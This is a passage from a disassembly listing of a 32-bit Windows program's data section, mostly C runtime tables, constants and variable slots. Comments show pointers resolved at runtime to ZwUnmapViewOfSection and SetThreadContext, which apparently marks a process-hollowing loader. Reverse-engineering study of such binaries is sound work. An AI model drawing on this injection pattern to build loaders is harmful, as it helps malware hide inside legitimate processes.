'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 654700F5h, 50434174h dd 18B0000h, 4F746547h, 50434D45h, 0FC0000h, 43746547h dd 666E4950h, 2CA006Fh, 556C7452h, 6E69776Eh, 21F0064h aInterlockedexc db 'InterlockedExchange',0 dd 6956037Bh, 61757472h, 6575516Ch, 7972h, 654701B2h, 72745374h dd 54676E69h, 41657079h, 26B0000h aMultibytetowid db 'MultiByteToWideChar',0 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 23A0000h dd 614D434Ch, 72745370h, 41676E69h, 23B0000h, 614D434Ch dd 72745370h, 57676E69h, 2120000h, 70616548h, 657A6953h dd 2970000h aQueryperforman db 'QueryPerformanceCounter',0 db 0D5h ; Õ db 1, 47h, 65h aTtickcount db 'tTickCount',0 align 10h db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 13Bh aGetcurrentproc db 'GetCurrentProcessId',0 db 0C0h ; À db 1, 47h, 65h aTsystemtimeasf db 'tSystemTimeAsFileTime',0 dw 16Ch aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 1BB0000h dd 53746547h, 65747379h, 666E496Dh, 454B006Fh, 4C454E52h dd 642E3233h, 6C6Ch, 654D01DEh, 67617373h, 786F4265h, 53550041h dd 32335245h, 6C6C642Eh, 70h dup(0) _rdata ends ; Section 3. (virtual address 0000A000) ; Virtual size : 0003AC1C ( 240668.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00008600 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 40A000h dword_40A000 dd 0 dd offset ___security_init_cookie dd offset sub_407938 dd offset sub_407955 dword_40A010 dd 0 dword_40A014 dd 0 dd offset ___onexitinit dd offset ___initmbctable dword_40A020 dd 0 dword_40A024 dd 0 dword_40A028 dd 0 dword_40A02C dd 0 dword_40A030 dd 4 dup(0) dword_40A040 dd 8C00h ; sub_4010AD+A9r ... align 10h dd 9875h, 9873h off_40A058 dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_1 dd offset nullsub_1 off_40A064 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_40A068 dd 2 ; __FF_MSGBANNER+Er dd 10h off_40A070 dd offset __fptrap ; DATA XREF: __cfltcvt_init+5w off_40A074 dd offset __fptrap ; DATA XREF: __cfltcvt_init+Aw off_40A078 dd offset __fptrap ; DATA XREF: __cfltcvt_init+14w off_40A07C dd offset __fptrap ; DATA XREF: __cfltcvt_init+1Ew off_40A080 dd offset __fptrap ; DATA XREF: __cfltcvt_init+28w off_40A084 dd offset __fptrap ; DATA XREF: __cfltcvt_init+32w dword_40A088 dd 2 ; __NMSG_WRITE+3Ar ... off_40A08C dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4087C4h, 9, 408798h, 0Ah, 408700h, 10h, 4086D4h dd 11h, 4086A4h, 12h, 408680h, 13h, 408654h, 18h, 40861Ch dd 19h, 4085F4h, 1Ah, 4085BCh, 1Bh, 408584h, 1Ch, 40855Ch dd 1Dh, 4084B8h, 78h, 4084A8h, 79h, 408498h, 7Ah, 408488h dd 0FCh, 408484h, 0FFh, 408474h dword_40A120 dd 0C0000005h, 0Bh, 0 ; __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_40A198 dd 3 dword_40A19C dd 7 dword_40A1A0 dd 0Ah ; __XcptFilter+6r dword_40A1A4 dd 8Ch ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h dword_40A1B0 dd 1 ; _tolower+36r ... byte_40A1B4 db 2Eh ; DATA XREF: __forcdecpt+40r ; .text:0040318Ar ... align 4 dd 1 off_40A1BC dd offset asc_4089A0 ; DATA XREF: __forcdecpt:loc_40315Ar ; .text:004046D3r ... ; " ((((( H" off_40A1C0 dd offset word_408BA2 ; DATA XREF: .text:004046CDr dword_40A1C4 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_40A1DC dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 3 dup(0)dword_40A200 dd 0BB40E64Eh ; sub_404BF3+6r ... align 8 byte_40A208 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 10h dword_40A210 dd 3A4h dword_40A214 dd 82798260h dd 21h, 0 dword_40A220 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_40A300 dd 19930520h, 3 dup(0) ; __NLG_Notify+2o dword_40A310 dd 1 align 8 dword_40A318 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) dd 400FC350h, 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_40A478 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: ___multtenpow12+23o dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 3 dup(0) byte_40A5E0 db 0 ; DATA XREF: sub_4010AD+49w ; sub_401313+2Ew ... align 4 dword_40A5E4 dd 0 ; sub_4010AD+Er ... ; HANDLE hFile hFile dd 0 ; DATA XREF: sub_401791+23w ; sub_401791+4Cr byte_40A5EC db 0 ; DATA XREF: sub_4010AD+1Bw ; sub_4010AD+43w ... align 10h ; HANDLE hThread hThread dd 0 ; DATA XREF: sub_401616+150w ; sub_40177Dr ; struct _MEMORY_BASIC_INFORMATION Buffer Buffer _MEMORY_BASIC_INFORMATION <?> ; DATA XREF: sub_4014E9+22o ; sub_40151F+94r dd 2 dup(?) dword_40A618 dd ? byte_40A61C db ? ; DATA XREF: sub_4010AD+2Bw ; sub_4010AD+34w ... align 10h byte_40A620 db ? ; DATA XREF: sub_401088+17w ; sub_4010AD+85o ... dword_40A621 dd ? ; sub_4010AD+CCr ... align 4 dd 4 dup(?) byte_40A638 db ? ; DATA XREF: sub_4010AD+BDw align 4 dd 9 dup(?) byte_40A660 db ? ; DATA XREF: sub_4010AD+62w align 4 dd 27h dup(?) byte_40A700 db ? ; DATA XREF: sub_4010AD+11Bw align 4 dd 0E7CBh dup(?) dword_444630 dd ? dword_444634 dd ? ; WinMain(x,x,x,x)+157r byte_444638 db ? ; DATA XREF: sub_40177D+6w ; WinMain(x,x,x,x)+165w align 4 ; DWORD nNumberOfBytesToRead nNumberOfBytesToRead dd ? ; DATA XREF: sub_4010AD+25r ; sub_401791+2Ew ... dword_444640 dd ? ; sub_401616+74w ... dword_444644 dd ? ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_407955+17w dword_444648 dd ? ; resolved to->KERNEL32.SetThreadContext ; sub_407938+17w dword_44464C dd ? ; .text:00401DEFw dword_444650 dd ? ; char *dword_444654 dword_444654 dd ? ; __setenvp:loc_403BB0r ... dd ? dword_44465C dd ? ; .text:_fast_error_exitr ... dword_444660 dd ? ; .text:00403105w ... ; int dword_444664 dword_444664 dd ? ; _realloc:loc_406DA7r ... dword_444668 dd ? byte_44466C db ? ; DATA XREF: __cftoe+3r __cftoe+8Dr ... align 10h dword_444670 dd ? byte_444674 db ? ; DATA XREF: __cftog+57w align 4 dd 3 dup(?) dword_444684 dd ? dword_444688 dd ? dword_44468C dd ? dword_444690 dd ? ; ___heap_select+9r ... dword_444694 dd ? dword_444698 dd ? dword_44469C dd ? dd ? ; void *dword_4446A4 dword_4446A4 dd ? ; __setenvp:loc_403C4Fr ... dd 3 dup(?) dword_4446B4 dd ? dd ? byte_4446BC db ? ; DATA XREF: _doexit+2Dw align 10h dword_4446C0 dd ? dword_4446C4 dd ? dword_4446C8 dd ? dword_4446CC dd ? ; __XcptFilter+73w ... ; char Filename[] Filename db 104h dup(?) ; DATA XREF: __setargv+1Co byte_4447D4 db ? ; DATA XREF: __setargv+23w align 4 dword_4447D8 dd ? ; ___crtGetEnvironmentStringsA+24w ... word_4447DC dw ? ; DATA XREF: __fltout+1Fo __fltout+4Dr byte_4447DE db ? ; DATA XREF: __fltout+41r align 10h dword_4447E0 dd 6 dup(?) dword_4447F8 dd ? dword_4447FC dd ? dword_444800 dd ? dword_444804 dd ? dword_444808 dd ? ; ___crtMessageBoxA+38w ... dword_44480C dd ? ; ___crtMessageBoxA:loc_4053B6r dword_444810 dd ? ; ___crtMessageBoxA+D6r dword_444814 dd ? ; ___crtMessageBoxA:loc_405371r dword_444818 dd ? ; ___crtMessageBoxA+9Cr dword_44481C dd ? ; .text:0040566Fw ... dword_444820 dd ? ; __ValidateEH3RN+13Fr ... align 8 dword_444828 dd ? ; __ValidateEH3RN+1C4r ... dd 0Fh dup(?) ; volatile LONG Target Target dd ? ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... dword_44486C dd ? ; ___crtGetStringTypeA+2Ew ... dd 2 dup(?) ; LCID Locale Locale dd ? ; DATA XREF: __isctype+50r _tolower+5r ... dd 3 dup(?) ; UINT dword_444888 dword_444888 dd ? ; _tolower+86r ... align 10h dword_444890 dd ? ; ___crtLCMapStringA+31w ... dword_444894 dd ? ; .text:00406FEAr ... ; LCID dword_444898 dword_444898 dd ? ; _setSBUpLow+84r ... dword_44489C dd ? ; __setmbcp+14Dw ... byte_4448A0 db ? ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_4448A1 db ? ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 40h dup(?) ; UINT CodePage CodePage dd ? ; DATA XREF: __ismbbkanar _setSBCS+10w ... align 10h dword_4449B0 dd 4 dup(?) ; __setmbcp+162o ... byte_4449C0 db ? ; DATA XREF: _setSBUpLow:loc_405813w ; _setSBUpLow:loc_405830w ... align 4 dd 3Fh dup(?) ; UINT uNumber uNumber dd ? ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_40401Er ... dd 7 dup(?) dword_444AE0 dd ? ; __ioinit+3Cr ... dword_444AE4 dd 3Fh dup(?) dword_444BE0 dd ? ; .text:00404159o dword_444BE4 dd ? ; _doexit:loc_4036F5r ... ; void *dword_444BE8 dword_444BE8 dd ? dword_444BEC dd ? ; __setenvp+3r ... dd ? ; void *dword_444BF4 dword_444BF4 dd ? ; ___sbh_free_block+21Cr ... dword_444BF8 dd ? ; .text:00402150r ... ; LPVOID lpMem lpMem dd ? ; DATA XREF: .text:00402116r ; .text:loc_40215Ar ... dword_444C00 dd ? ; __get_sbh_threshold+Er ... dword_444C04 dd ? ; ___sbh_free_block+300w ... dword_444C08 dd ? ; ___sbh_alloc_new_region+5r ... dword_444C0C dd ? ; ___sbh_free_block+249r ... ; HANDLE hHeap hHeap dd ? ; DATA XREF: __heap_alloc+38r ; __heap_init+19w ... dword_444C14 dd ? ; __heap_alloc:loc_4019FDr ... dword_444C18 dd ? ; __wincmdln:loc_403B52r ... align 200h _data ends end start